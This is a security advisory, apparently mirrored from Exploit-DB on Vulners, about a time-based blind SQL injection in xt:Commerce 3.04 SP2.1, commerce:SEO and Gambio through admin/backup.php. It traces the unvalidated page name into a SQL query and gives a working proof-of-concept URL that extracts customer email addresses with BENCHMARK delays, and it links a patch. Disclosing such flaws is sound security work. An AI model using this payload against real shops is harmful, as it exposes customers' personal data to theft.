Lucene search
K

xt:Commerce 3.04 SP2.1 - Blind SQL Injection

🗓️ 15 Aug 2012 00:00:00Reported by stoffline.comType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

xt:Commerce 3.04 SP2.1 - Blind SQL Injection in admin/backup.php allows unauthorized acces

Code
+---------------------------------+
| xt:Commerce <= v3.04 SP2.1      |
| commerce:SEO <= v2.1 CE         |
| Gambio <= v2.0.10 SP1.4         |
| Time Based Blind SQL Injection  |
+---------------------------------+

Author.............: Ralf Zimmermann 
Mail...............: info[AT]stoffline.com
Vendor Homepage....: http://www.xt-commerce.com/
Software Link......: http://www.xtc-load.de/2008/07/xtcommerce-v304-sp21/
Affected Version...: xt:Commerce <= v3.04 SP2.1, commerce:SEO <= v2.1 CE, Gambio <= v2.0.10 SP1.4
URL http://stoffline.com/golb/details-zur-sicherheitslucke-in-xtcommerce/ (german)
URL http://stoffline.com/golb/sicherheitslucke-in-xtcommerce/ (german)
Date...............: 12/06/2012

-----------------------------------------------------------
       Author will be not responsible for any damage.
-----------------------------------------------------------
I. DESCRIPTION
-----------------------------------------------------------

# we need to be logged in as a regular customer...

admin/backup.php
  18: require('includes/application_top.php');

admin/includes/application_top.php
  399: $current_page = split('\?', basename($_SERVER['PHP_SELF'])); $current_page = $current_page[0]; // for BadBlue(Win32) webserver compatibility
  # if you go to
  # http://127.0.0.1/xtc_304SP21/admin/backup.php/test.php?
  # $current_page = 'test.php' instead of 'backup.php' cause AcceptPathInfo from Apache passes the entire path

  486: $pagename = strtok($current_page, '.');
  # $pagename = 'test';

  487: if (!isset($_SESSION['customer_id'])) {
  488:  xtc_redirect(xtc_href_link(FILENAME_LOGIN));
  489: }
  # We need to be logged in but we walk through this checkpoint regardless of our customer status

  491: if (xtc_check_permission($pagename) == '0') {
  492:  xtc_redirect(xtc_href_link(FILENAME_LOGIN));
  493: }

admin/includes/functions/general.php
  110: function xtc_check_permission($pagename) {
  111:  if ($pagename != 'index') {
  112:   $access_permission_query = xtc_db_query("select ".$pagename." from ".TABLE_ADMIN_ACCESS." where customers_id = '".$_SESSION['customer_id']."'");
  113:   $access_permission = xtc_db_fetch_array($access_permission_query);
  114:
  115:   if (($_SESSION['customers_status']['customers_status_id'] == '0')&& ($access_permission[$pagename] == '1')) {
  116:    return true;
  117:   } else {
  118:    return false;
  119:   }
  120:  } else {
  121:   xtc_redirect(xtc_href_link(FILENAME_LOGIN));
  122:  }
  123: }
  # $pagename comes in the query with no validation
  # select test from admin_access where customer_id = 2

  # Every valid SQL query ends with a redirect to the login page.
  # We can use time based MySQL commands like Benchmark to exploit the vulnerability.
  # The PoC checks if the first character from the customers email adress is 'a'.
  # If so, the query will consume a lot of time e.G. 10 seconds, if not, we will directly redirected to the login page

-----------------------------------------------------------

II. PoC EXPLOIT
-----------------------------------------------------------
http://127.0.0.1/xtc_304SP21/admin/backup.php/IF((SELECT%20ASCII(SUBSTR(customers_email_address,1,1))%20FROM%20customers%20WHERE%20customers_id=1)=97,BENCHMARK(100000000,MD5(1)),1)--%20.php?
-----------------------------------------------------------

III. Solution:
-----------------------------------------------------------
Patches can be found here:
http://www.xtc-load.de/2012/06/wichtiges-security-update-fur-alle-xtc-forks/
-----------------------------------------------------------

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation